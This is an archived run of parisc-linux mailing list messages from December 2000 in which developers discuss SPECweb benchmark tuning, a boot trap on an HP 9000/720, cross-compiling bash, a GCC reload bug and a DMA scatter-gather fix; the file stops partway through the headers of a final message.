Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] performance
Date: Wed, 27 Dec 2000 12:05:19 -0500
Organization: The Puffins at Linuxcare
Lines: 21
Approved: news@gmane.org
Message-ID: <3A4A214F.3DD53BAD@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619473 9419 80.91.229.3 (22 Nov 2014 01:24:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Wed Dec 27 09:58:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA11676
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 09:58:43 -0700
Original-Received: (qmail 5993 invoked by uid 15267); 27 Dec 2000 17:01:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5981 invoked from network); 27 Dec 2000 17:01:53 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 17:01:53 -0000
Original-Received: (qmail 28476 invoked from network); 27 Dec 2000 17:01:53 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 27 Dec 2000 17:01:53 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9019


I stumbled on this:
http://www.spec.org/osg/web99/results/res2000q4/

This shows some PA-RISC machines running HPUX performing reasonably
well.

What would it take to get parisc-linux to perform similiarly to HPUX for
these kinds of numbers?  Showing that these kinds of numbers are
possible for parisc-linux would certainly help in our quest to have real
users.


- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance
Date: Wed, 27 Dec 2000 09:52:52 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <200012271752.JAA23167@milano.cup.hp.com>
References: <3A4A214F.3DD53BAD@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619473 9423 80.91.229.3 (22 Nov 2014 01:24:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Wed Dec 27 10:49:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA12186
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 10:49:02 -0700
Original-Received: (qmail 4298 invoked by uid 15267); 27 Dec 2000 17:52:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4286 invoked from network); 27 Dec 2000 17:52:12 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 17:52:12 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 4CF4AA46; Wed, 27 Dec 2000 09:51:38 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA23167;
	Wed, 27 Dec 2000 09:52:54 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 27 Dec 2000 12:05:19 PST."
             <3A4A214F.3DD53BAD@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9020

Alex deVries wrote:
> I stumbled on this:
> http://www.spec.org/osg/web99/results/res2000q4/
> 
> This shows some PA-RISC machines running HPUX performing reasonably well.

HPUX11+Zeus on A500 posted the highest rated Specweb99 for single CPU machine.
Though the HP specweb folks didn't expect that to last very long...

Note that IBM Netfinity server nearly doubled in performance using
native OS+Zeus vs linux+Tux. I don't expect such a dramatic difference
for parisc-linux+Tux vs HPUX+Zeus.

> What would it take to get parisc-linux to perform similiarly to HPUX for
> these kinds of numbers?  Showing that these kinds of numbers are
> possible for parisc-linux would certainly help in our quest to have real
> users.

Offhand, I can think of several things (roughly in order):
o Tux (and/or zero copy - aka "Block I/O")
o support more than 512MB memory - preferably 8 or 16GB (64-bit kernel)
o Profile Based Optimization (compiler/linker)
o Write a module to dump CPU performance counters to /proc
  (and use output to tune critical code paths)
o handle 10 packets per interrupt under acenic
o Jumbo Frames?

I'm sure others (eg jsm) could add alot more here.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance
Date: Wed, 27 Dec 2000 18:08:29 +0000 (GMT)
Lines: 31
Approved: news@gmane.org
Message-ID: <E14BL04-0002Zj-00@the-village.bc.nu>
References: <3A4A214F.3DD53BAD@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619473 9427 80.91.229.3 (22 Nov 2014 01:24:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@linuxcare.com (Alex deVries)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Dec 27 11:03:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12368
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 11:03:50 -0700
Original-Received: (qmail 23201 invoked by uid 15267); 27 Dec 2000 18:06:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23172 invoked from network); 27 Dec 2000 18:06:55 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 18:06:55 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14BL04-0002Zj-00; Wed, 27 Dec 2000 18:08:32 +0000
In-Reply-To: <3A4A214F.3DD53BAD@linuxcare.com> from "Alex deVries" at Dec 27, 2000 12:05:19 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:9021

> http://www.spec.org/osg/web99/results/res2000q4/
> 
> This shows some PA-RISC machines running HPUX performing reasonably
> well.

Specweb is basically a con. Its not a materially valuable benchmark. It benches
how fast your irq handler path is, how fast your memory cache is, how good
your DMA transfers are. It has almost nothing to do with how good a web
server the box is.

> What would it take to get parisc-linux to perform similiarly to HPUX for
> these kinds of numbers?  Showing that these kinds of numbers are
> possible for parisc-linux would certainly help in our quest to have real
> users.

Basically it comes down to using DMA, caching everything and using the fact
it is a completely hoax benchmark to write custom tuned code for the job. 
Even the people who 'use xyz webserver' and it sounds standard turn out to 
be embedding it or half of it in the kernel.

So it comes down to - tuning the network card driver, tuning the IRQ path, 
making sure the cache handling is optimal. The rest consists of loading the
machine with 8Gbytes of RAM, using obscenely smart ethernet cards and having
good memory bandwidth.

The 64bit pa-risc boxes have the hardware for it, in fact they have better 
hardware for it than x86. All you have to do is write better tlb, irq and pci
handling code than the HP/UX engineering team 8).

Alan


From - Thu Nov 08 21:14:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance
Date: Wed, 27 Dec 2000 13:53:46 -0500
Organization: The Puffins at Linuxcare
Lines: 28
Approved: news@gmane.org
Message-ID: <3A4A3ABA.4EC6D5A7@linuxcare.com>
References: <E14BL04-0002Zj-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619474 9431 80.91.229.3 (22 Nov 2014 01:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: adevries@linuxcare.com  Wed Dec 27 11:47:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA13059
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 11:47:14 -0700
Original-Received: (qmail 12978 invoked by uid 15267); 27 Dec 2000 18:50:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12833 invoked from network); 27 Dec 2000 18:50:18 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 18:50:18 -0000
Original-Received: (qmail 9464 invoked from network); 27 Dec 2000 18:50:19 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 27 Dec 2000 18:50:19 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9022

Alan Cox wrote:
> > http://www.spec.org/osg/web99/results/res2000q4/
> >
> > This shows some PA-RISC machines running HPUX performing reasonably
> > well.
> 
> Specweb is basically a con. Its not a materially valuable benchmark. It benches
> how fast your irq handler path is, how fast your memory cache is, how good
> your DMA transfers are. It has almost nothing to do with how good a web
> server the box is.

I agree that specweb might not actually be functionally practical.

This might not be the case with specweb, but sometimes specifications do
have the ability to influence customers regardless of their validity.

That's interesting for one reason: if the marketing helps make potential
customers think that parisc-linux is fast, they'll buy parisc boxes, and
HP is more likely to allocate developer time on this project.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Same boot problem on a 9000/720/50 HP machine as on 
 712/60 of Niskanen
Date: Wed, 27 Dec 2000 20:05:43 +0100
Organization: private
Lines: 93
Approved: news@gmane.org
Message-ID: <3A4A3D87.8EE7FCF1@dot.at>
References: <3A4940BF.3EB18F61@dot.at> <20001227012741.A150937C97@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619474 9433 80.91.229.3 (22 Nov 2014 01:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: christoph.plattner@dot.at  Wed Dec 27 12:05:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA13256
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 12:05:48 -0700
Original-Received: (qmail 4173 invoked by uid 15267); 27 Dec 2000 19:08:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4157 invoked from network); 27 Dec 2000 19:08:58 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 19:08:58 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-011.dot.at [212.9.128.51])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id UAA13323;
	Wed, 27 Dec 2000 20:08:06 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9023

What is a newer kernel  ?
Date, version ?
What does IIRC mean ?

Ad tool-chain:

        I use the tool-chain of the puffingroup, selfmade from the
        latest version of 21.12.2000 or so. I build it from source
        and it was no problem except the fact, that the it must be
        `--host' not `--HOST' (I have some experiences in it).

        But it was not possible to build bash from the scratch in
        this way. host=hppa-linux, build=i386-linux should be the
        correct one, but ....
        The biuld process of bash (and I think for other too,
        does not call the cross compiler). The use of CC= AS= LD=
        etc has the other problem, that binary tools which are build
        in the build process are running on PA RISC, but they are used
        in i386 for further building.

        So my question: How can I tell an autoconfigured build process
        (standard linux source tree) to use the cross compiler on the
        right points.

	As I used RedHat up to now, I have no experience in
	debian packaging system. What are this files like
	dpkg-cross tool, etc...
	How to use them, how to install them.

	You say, the bash is a problem. Is this for other tools
	much easier, like `init' or daemons, etc...

Thanks for the help and a happy new year soon....

	Christoph Plattner




Matt Taggart wrote:
> 
> Christoph Plattner writes...
> 
> > On my 9000/720 (I have it since one week) I have the same problem
> > booting the CD 0.5
> > or
> > a selfbuild kernel. The kernel boots, but on calling the
> > init a trap is called with the text:
> >
> > handle_interruption() pid=1 command='init'
> >
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000001001111111100001011
> > r0-3     00000000 000c0f38 00033a1b 000c0f3c
> > r4-7     000c0f38 ffffffff 00000001 0002a1d8
> > r8-11    c02ac640 00000000 00000000 c0145f30
> > r12-15   00000000 00000000 00000000 00000000
> > r16-19   c027b60c 00000000 c02ac000
> >
> > and so on, running in a loop.
> 
> Yes, several people(myself included) saw this. IIRC a newer kernel fixes it.
> 
> > The code is in kernel/traps.c
> >
> > Further I tried to build a statically linked bash-2.03,
> > but I had problems setting up the build process to produce
> > a HP PARISC user program. What I have to do to setup or
> > prepare default source trees for cross building (the
> > compiler runs....)
> 
> Which compiler are you using? You can grab a prebuilt hppa cross-compiler
> (that runs on i386-linux) at,
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tar.gz
> 
> bash is particularly hard to build. I was able to get the debian package to
> cross compile using the dpkg-cross tool and by making a few changes to the
> source tree. I still need to test the binary, if it works I'll post it.
> 
> --
> Matt Taggart
> taggart@fc.hp.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ross Sponholtz" <rsponholtz@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hi Also!
Date: Wed, 12 May 1999 23:55:24 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <005301be9cfc$d0cf70e0$770e070a@monorailpc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619474 9434 80.91.229.3 (22 Nov 2014 01:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:34 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: rsponholtz@earthlink.net  Thu May 13 09:16:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA16711
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 May 1999 09:16:53 -0600
Original-Received: (qmail 16349 invoked by uid 15267); 13 May 1999 15:16:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16341 invoked from network); 13 May 1999 15:16:29 -0000
Original-Received: from ostrich.prod.itd.earthlink.net (207.217.120.14)
  by mailserv2.iuinc.com with SMTP; 13 May 1999 15:16:29 -0000
Original-Received: from penguin.prod.itd.earthlink.net (penguin.prod.itd.earthlink.net [207.217.120.134])
	by ostrich.prod.itd.earthlink.net (8.8.7/8.8.5) with ESMTP id VAA09800
	for <parisc-linux@thepuffingroup.com>; Wed, 12 May 1999 21:57:59 -0700 (PDT)
Original-Received: from monorailpc (W-417.charter-stl.com [24.217.17.163])
	by penguin.prod.itd.earthlink.net (8.9.3/8.9.3) with SMTP id VAA00458
	for <parisc-linux@thepuffingroup.com>; Wed, 12 May 1999 21:52:57 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:9024

Hello, I too am new to the list; I have been lurking for a while, and have
this related question:  What hardware is being targeted right now, and what
is the minimum needed to help out?  Would a C110 be ok?  How 'bout a 715/50?

Also, could we put together a newbies task list?  Stuff that needs to be
done,  that people like me could do to usefully get our feet wet.  I'll
volunteer to coordinate the list, if everyone could send me the contents.
In fact, a FAQ list would be very useful.

Thanks,
Ross Sponholtz
rsponholtz@earthlink.net



From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Wed, 27 Dec 2000 13:08:52 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <9917.977947732@upchuck>
References: <200012141640.LAA03285@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619475 9437 80.91.229.3 (22 Nov 2014 01:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:35 +0000 (UTC)
Cc: rth@redhat.com, alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Wed Dec 27 13:14:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14055
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 13:14:34 -0700
Original-Received: (qmail 29595 invoked by uid 15267); 27 Dec 2000 20:17:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29584 invoked from network); 27 Dec 2000 20:17:44 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 20:17:44 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id MAA22539
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 12:17:42 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id NAA09920;
	Wed, 27 Dec 2000 13:08:52 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 14 Dec 2000 11:40:04 EST.
             <200012141640.LAA03285@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9025

  In message <200012141640.LAA03285@hiauly1.hia.nrc.ca>you write:
  > That's what I thought.  It would appear to occur when the above two insns
  > get moved out of a loop.  The count gets decremented when the old insns
  > are deleted but not incremented when the new insns are created.  The puzzle
  > is why the count is zero rather than 1.  Maybe what happens is the two
  > insns in the loop are deleted first, then the label is deleted?  Notice
  > that insn 788 is moved to insn 1530.  However, the insn becomes 1531 and
  > the reg changes to 337 from 208.
In this case we typically will bump the number of uses before we delete
the insns that way the label doesn't go away unexpectedly.

jeff


From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 27 Dec 2000 15:27:52 -0500
Organization: The Puffins at Linuxcare
Lines: 30
Approved: news@gmane.org
Message-ID: <3A4A50C8.59ACF53D@linuxcare.com>
References: <20001219094251.A17217@parcelfarce.linux.theplanet.co.uk> <20001223091521.A17346@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619475 9440 80.91.229.3 (22 Nov 2014 01:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: adevries@linuxcare.com  Wed Dec 27 13:21:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14246
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 13:21:16 -0700
Original-Received: (qmail 5697 invoked by uid 15267); 27 Dec 2000 20:24:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5652 invoked from network); 27 Dec 2000 20:24:26 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 20:24:26 -0000
Original-Received: (qmail 11708 invoked from network); 27 Dec 2000 20:24:26 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 27 Dec 2000 20:24:26 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9026

Matthew Wilcox wrote:
> 
> On Tue, Dec 19, 2000 at 09:42:51AM +0000, Matthew Wilcox wrote:
> >
> > Wow, this is a really sucky chip :-)
> >
> > OK, here's a first stab at some support for it.  Could someone with a
> > B/C/J `thousand' class machine please give it a try, and let me see the
> > relevant portions of their bootlog?

I'm still determined to give this to you, but I've had several hurdles
that are making this difficult:

- our C3k seems to be taking the Christmas break as holiday, as she
doesn't power up anymore.  Martin Petersen and I have seen this before,
and a bit of shaking and rattling got it to work last time.  

- got a workout by moving the J5k over to my cube, and it now HPMCs
before I see any relevant boot output.  Not sure why.

- I'm travelling until January 2.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dd and 2k transfers on A500
Date: Wed, 27 Dec 2000 12:35:00 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <200012272035.MAA23307@milano.cup.hp.com>
References: <200012230110.RAA20271@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619475 9442 80.91.229.3 (22 Nov 2014 01:24:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Dec 27 13:30:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14547
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 13:30:35 -0700
Original-Received: (qmail 18082 invoked by uid 15267); 27 Dec 2000 20:33:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18072 invoked from network); 27 Dec 2000 20:33:45 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 20:33:45 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id A8141ED6
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 12:33:44 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA23307
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 12:35:01 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 22 Dec 2000 17:10:05 PST."
             <200012230110.RAA20271@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9027

Grant Grundler wrote:
> I'm using local disks on the A500 to do the following:
> for i in 0 1 2 3 4 5 6 7 8 9; do dd if=/dev/sdd of=t$i \
> bs=2k count=1; od -A x -t xC t$i > x$i; done

Problem solved. Loosing page offset bits in the last "chunk"
of a scatter-gather list. We end up DMAing to the wrong part
of the page. Fix was tested on 32-bit/C3k and should work on
A500 as well now.

my apologies for the stupid mistake,
grant


From - Thu Nov 08 21:14:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Same boot problem on a 9000/720/50 HP machine as 
 on 712/60 of Niskanen
Date: Wed, 27 Dec 2000 13:59:17 -0700
Lines: 89
Approved: news@gmane.org
Message-ID: <20001227205917.CF5B037C97@carmen.fc.hp.com>
References: <3A4940BF.3EB18F61@dot.at> <20001227012741.A150937C97@carmen.fc.hp.com>  <20001227043446.6DCFD37C97@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619476 9445 80.91.229.3 (22 Nov 2014 01:24:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Wed Dec 27 13:54:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA15403
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Dec 2000 13:54:14 -0700
Original-Received: (qmail 14818 invoked by uid 15267); 27 Dec 2000 20:57:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14809 invoked from network); 27 Dec 2000 20:57:25 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 27 Dec 2000 20:57:25 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 078904E1
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Dec 2000 15:57:25 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
